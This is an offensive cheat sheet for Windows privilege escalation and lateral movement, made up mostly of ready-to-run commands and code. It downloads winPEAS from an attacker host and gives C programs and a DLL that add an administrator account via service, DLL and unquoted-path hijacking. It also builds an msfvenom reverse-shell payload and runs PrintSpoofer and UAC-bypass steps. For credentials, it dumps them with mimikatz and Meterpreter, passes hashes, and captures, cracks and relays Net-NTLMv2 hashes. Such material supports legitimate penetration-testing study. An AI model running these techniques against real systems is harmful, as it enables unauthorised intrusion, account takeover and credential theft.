Windows privilege escalation
Automation script
powershell
# Transfer winPEAS file
iwr -uri http://<ATTACKER_MACHINE>/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
powershell -ep bypass
. .\PowerUp.ps1
# Now you can run commands like Get-ModifiableServiceFile
Get-ModifiableServiceFile
Execute commands as another user
- If the user is a member of the Remote Desktop Users group –> connect with RDP
- If the user is a member of the Remote Management Users group –> connect with WinRM
- If you have access to a GUI with an other user, you can use
Runas
to run a program as a different user.
runas /user:<USERNAME> cmd
After entering the password, a new command-line window opens, running under the specified user’s account.
History
Get-History
Get-History
only shows commands executed before the current one in the same session.
Clear-History
If a user runs Clear-History
, it will only clear PowerShell’s in-session history, which can be retrieved using Get-History
.
Warning: Clear-History
does not remove:
- The command history saved by PSReadLine to disk (
ConsoleHost_history.txt
). - The content seen with
Ctrl+R
or arrow keys if PSReadLine is still managing that memory buffer.
Retrieve PSReadLine history
# Get history save path
(Get-PSReadlineOption).HistorySavePath
# Get content of the history file
type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Retrieve transcript
Start-Transcript
[🔗] starts recording everything that happens in your PowerShell session.
By default, it stores the transcript in the following location using the default name:
- On Windows:
$HOME\Documents
- On Linux or macOS:
$HOME
The default filename is PowerShell_transcript.<computername>.<random>.<timestamp>.txt
.
Start-Transcript -Path "C:\transcripts\transcript0.txt"
. So, be sure to look for files that have names containing the word transcript.
Password in configuration file (Unattend.xml)
An answer file is an XML-based file that contains setting definitions and values to use during Windows Setup. Answer files (or Unattend files) are used by Administrators when they are setting up fresh images as it allows for an automated setup for Windows systems.
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.xml
C:\Windows\system32\sysprep\sysprep.xml
Extract password and decode it (from base64)
Find password manager database
E.g. search *.kdbx
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Find sensitive information in configuration files
E.g. configuration files of XAMPP
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
E.g. search docs in home directory of the user
Get-ChildItem -Path C:\Users\<USERNAME>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Service Binary Hijacking
Get a list of all installed Windows services:
CMD command. (WMIC is deprecated as of Windows 10, version 21H1)
wmic service get Name,DisplayName,PathName
CMD one-liner
for /f "tokens=2 delims=:" %s in ('sc query state^= all ^| findstr /R "^SERVICE_NAME:"') do @echo %s & sc qc %s | find "BINARY_PATH_NAME"
Powershell
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Get-CimInstance
when querying services. Interactive logons (e.g., RDP) avoid this issue.
Focus on services installed by users and enumerate the permissions:
icacls "C:\xampp\mysql\bin\mysqld.exe"
# F Full access
# M Modify access
# RX Read and execute access
# R Read-only access
# W Write-only access
If we can modify the binary, we can replace it. So, create a binary and compile it:
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user testuser somepassword /add");
i = system ("net localgroup administrators testuser /add");
}
Now there are two way:
- Restart the service:
# 1. with net
net stop mysql
net start mysql
# 2. Restart-Service
Restart-Service -Name "mysql"
- If your user doesn’t have sufficient permissions to stop the service our alternative is to reboot the machine. If the service’s Startup Type is set to
Auto
, it should restart on boot
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
Name StartMode
---- ---------
mysql Auto
To reboot, the user needs SeShutDownPrivilege
whoami /priv
Privilege Name Description State
=================== ==================== ========
SeShutdownPrivilege Shut down the system Disabled
Disabled
state means the privilege isn’t active in the current process. Here, it shows whoami hasn’t requested SeShutdownPrivilege
privilege.
Reboot:
shutdown /r /t 0
Service DLL Hijacking
By default, modern Windows versions have safe DLL search mode enabled to reduce DLL hijacking risks. This mode, introduced by Microsoft, enforces a more secure DLL search order [🔗], as shown below:
- The directory from which the application loaded.
- The system directory.
- The 16-bit system directory.
- The Windows directory.
- The current directory.
- The directories that are listed in the PATH environment variable.
The goal of this attack is to hijack the DLL search order - a technique where an attacker places a malicious DLL in a location that is searched before the legitimate one. If the application or service attempts to load a DLL that doesn’t exist in its expected location, it may end up loading the attacker’s DLL instead.
To perform this attack, we first need to identify all the DLLs loaded by a specific service and detect any that are missing.
We can use Process Monitor (Procmon) to capture and filter events related to the target service:
- Launch Process Monitor.
- Add a filter to show only events related to the service’s process name.
- Restart the service while Procmon is actively capturing:
Restart-Service <service>
- Look for CreateFile events where the service attempts to access a .dll file across different directories.
In the Detail column of these events, if you see NAME NOT FOUND
, it means the system attempted to locate the DLL in that path, but it wasn’t there. This indicates a potential opportunity to hijack the DLL.
To exploit this:
- Identify the first directory in the search order where the service attempts to load the missing DLL.
- If you have write permissions to that location, place a malicious DLL with the same name.
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
int i;
i = system ("net user test yourpass /add");
i = system ("net localgroup administrators test /add");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Compile the code:
gcc DLL_NAME.cpp --shared -o <DLL_NAME>.dll
When the service restarts, it may load your malicious DLL instead of the legitimate one.
Unquoted Service Paths
When a Windows service is installed with an unquoted path and the path contains spaces, Windows does not know where the executable truly begins and ends unless quotes ("
) are used. It will try to execute each potential path segment until it finds a matching file. If one of these path segments is writable by a low-privilege user, you can place a malicious executable there, which will get executed with SYSTEM privileges the next time the service starts.
Suppose a Windows service is registered like this:
C:\Program Files\My App\bin\service.exe
Notice that the path has spaces and is not enclosed in quotes.
Here’s what Windows will try to do: Windows tries to execute the following, in this order:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\bin\service.exe
(this is the real one)
If C:\Program Files\My App\bin\service.exe
doesn’t exist, you can place a file called C:\Program.exe
, that will get executed instead, with SYSTEM privileges.
To exploit this:
- There must be an
unquoted service path
with spaces in it.
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
- One of the earlier-resolved paths must be
writable
by a low-privileged user. To check access rights, useicacls
in each path. - You must be able to
create a malicious executable
in that path.
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user testuser somepassword /add");
i = system ("net localgroup administrators testuser /add");
}
- The service must
restart
(manually or through a system reboot).
Scheduled Tasks
Scheduled Tasks (a.k.a. Task Scheduler) are Windows components that let administrators schedule programs or scripts to run automatically at specific times or under certain conditions (like at login, boot, idle, etc.).
If a task runs something like:
<Action>
<Exec>
<Command>C:\Scripts\Backup.bat</Command>
</Exec>
</Action>
… and C:\Scripts\Backup.bat
is writable by a low-priv user, you can overwrite it with a malicious payload.
To exploit this:
- We can view scheduled task with the following command:
schtasks /query /fo LIST /v
Look for tasks with interesting information in the Task To Run
, Run As User
, Next Run Time
, Author
fields.
-
If you find a task running under a high-privilege user, check the permissions on the file it executes using
icalcs
. -
Replace the executable file specified in the action of the scheduled task.
-
Wait for the task to run
SeImpersonatePrivilege
SeImpersonatePrivilege
is a Windows security privilege that allows a process to impersonate another user or process after authentication.
This privilege is commonly assigned to services and processes that need to act on behalf of users (for example, IIS). By default, Local System, Network Service, Local Service, and some authenticated services have this privilege.
To exploit this:
This works on Windows 10 and Server 2016/2019
- Verify privileges:
whoami /priv
Look for:
Privilege Name Description State
============================ ============================= ========
SeImpersonatePrivilege Impersonate a client after... Enabled
-
Copy the executable of PrintSpoofer.exe from PrintSpoofer repository.
-
Execute it:
.\PrintSpoofer64.exe -i -c cmd
Troubleshooting: https://juggernaut-sec.com/seimpersonateprivilege/#Troubleshooting_PrintSpoofer_Errors Blog post: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges
UAC Bypass
User Account Control (UAC) is a feature that enables a consent prompt for elevated activities.
Prerequisites:
- User must be a member of the Administrators group.
net localgroup administrators
- Full interactive shell with the victim like meterpreter (a common nc.exe shell is not enough).
(1) Metasploit
search bypassuac
(2) UACME
# 1. Step
ps
migrate <PID explorer.exe>
# 2. Step - Upload Akagi (Akagi64.exe if x64)
# 3. Step - Create payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o backdoor.exe
# 4. Step - Start a listener (exploit/multi/handler)
# 5. Step - Run Akagi
Akagi64.exe 23 <payload_full_path> # NOTE FULL PATH
# Once run, we will get meterpreter session - getprivs/getsystem to get elevated privs
Impersonate Tokens
Metasploit - incognito
load incognito
list_tokens -u
Delegation Tokens Available
========================================
ANYTHING\Administrator
NT AUTHORITY\LOCAL SERVICE
Impersonation Tokens Available
========================================
No tokens available
impersonate_token <token_name>
# E.g. impersonate_token ANYTHING\\Administrator
# Note: the two backslashes
# You may need to migrate process to a <user> process
getpid
ps
# PID: 2948 | PPID: 2036 NAME: explorer.exe | ARCH: X64 | SESSION:1 | USER: ANYTHING\Administrator | PATH: C:\Windows\explorer.exe
# Migrate process
migrate 2948
Authentication Attacks
Pass the Hash
Pass-the-Hash is a technique where you authenticate as a user without knowing the plaintext password. Instead, you can use the NTLM hash of the password to gain access to systems and resources. This attack works with network protocols that use NTLM authentication, such as SMB, RDP, and WinRM.
UAC Remote Restrictions
By default, User Account Control (UAC) prevents local administrator accounts from performing remote administration tasks.
- Bypass: The built-in Administrator account (SID ending in -500) is immune to this restriction.
- Blocked: Any other user in the Administrators group will have their token filtered, and the hash-passing will fail unless UAC remote restrictions are disabled on the target.
# 1. with crackmapexec
crackmapexec smb <ip> -u <administrator> -H <NTLM hash> -x "ipconfig"
# 2. with psexec (impacket)
impacket-psexec -hashes <LM hash>:<NTLM hash> Administrator@<ip>
# 3. Method (Metasploit) -> windows/smb/psexec
msf > use exploit/windows/smb/psexec
msf > set RHOSTS <ip>
msf > set SMBUser Administrator
msf > set SMBPass <LM hash>:<NTLM hash>
msf > run
Notes:
- Empty LM hash:
AAD3B435B51404EEAAD3B435B51404EE
(means its non-use).AAD3B435B51404EEAAD3B435B51404EE:<NTLM>
- With
hashdump
you have the right format
Dumping Credentials from Memory & SAM
(1) hashdump (Metasploit - Meterpreter)
# You may need to migrate meterpreter to NT AUTHORITY\SYSTEM process
meterpreter > getpid
meterpreter > ps # Find a SYSTEM process like lsass.exe or winlogon.exe
meterpreter > migrate <PID>
# Dump the hashes
meterpreter > hashdump
(2) Kiwi (Metasploit - Meterpreter)
# Ensure you are running as SYSTEM
meterpreter > getuid
meterpreter > getsystem # if needed
# Load the kiwi extension
meterpreter > load kiwi
# Retrieve all available credentials (plaintext, hashes, tickets, etc.)
meterpreter > creds_all
# Dump NTLM hashes for all of the user accounts on the system
meterpreter > lsa_dump_sam
# Dump plaintext passwords and other secrets from memory (LSASS)
lsa_dump_secrets
# Note: from the Windows version 8.0+, windows don’t store any plain text password.
# So, it can be helpful for the older version of the Windows.
(3) Mimikatz
The most powerful credential-dumping tool.
-
Upload and execute
mimikatz.exe
on the target machine -
Enable Debug Privileges. This should be a standard for running mimikatz as it
SeDebugPrivilege
access right enabled to run command such assekurlsa::logonpasswords
andlsadump::sam
.
mimikatz # privilege::debug
Privilege '20' OK
This should return Privilege ‘20’ OK.
- Extract Logon Passwords. This command parses the LSASS process memory for credentials of logged-on users.
sekurlsa::logonpasswords
- Dump NTLM hashes from the SAM. You must first run
token::elevate
to elevate toSYSTEM
user privileges.
mimikatz # token::elevate
mimikatz # lsadump::sam
Abuse the Net-NTLMv2
If you cannot dump hashes directly, you can capture a Net-NTLMv2 hash. This is a challenge-response hash used for network authentication and is more secure than NTLMv1. Unlike an NTLM hash, it cannot be used for Pass-the-Hash but can be cracked offline or relayed.
- Set up a fake SMB/HTTP server using Responder or similar tool.
# sudo responder -I <your_network_interface> -v
sudo responder -I tap0 -v
- Trigger Authentication. Force a Windows machine to authenticate to your listener.
- From a Shell: If you have command execution, request a resource from your attacker machine’s fake share.
dir \\<your_ip>\share
- From a Web App: If there’s a feature that processes UNC paths (e.g., file upload, avatar from URL), provide a path to your listener.
\\<your_ip>\share\nonexistent.pdf
- Capture the Hash: Responder will capture the challenge-response exchange. The hash will look something like this:
[SMB] NTLMv2-SSP Hash Captured: user::domain:challenge:response_hash
- Crack the Hash: Use a tool like Hashcat with mode 5600 to crack the captured hash offline.
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
Relaying Net-NTLMv2
This technique is used when you have captured a user’s Net-NTLMv2 hash but cannot crack it. The core idea is to forward this hash to another machine for authentication, hoping the user has administrative privileges on that target machine.
- Setup (on Attacker Machine): Use
impacket-ntlmrelayx
to listen for a connection and relay it to the target, executing a command upon success.
impacket-ntlmrelayx -t [Target_2_IP] -c "[Command_to_Execute]" -smb2support
- Trigger (on Source Machine: TARGET_1)
ls \\<your_ip>\share
- Relay (by Attacker Machine)
The ntlmrelayx
tool intercepts the authentication attempt from TARGET_1. It does not authenticate it. Instead, it forwards (relays) the hash to the specified target, TARGET_2.
- Execution (on Target Machine: TARGET_2)
TARGET_2 receives the relayed authentication request and validates the TARGET_2_admin hash.
IF TARGET_2_admin is a local administrator AND UAC remote restrictions are disabled, the authentication succeeds. TARGET_2 then executes the payload supplied by ntlmrelayx
in Step 1.
Other
- Saved Windows Credentials
- cmdkey /list
- runas /savecred /user:admin cmd.exe
- Scheduled Tasks
- Insecure Permissions on Service Executable
- Insecure Service Permissions
- Windows Privileges
- Unpatched Software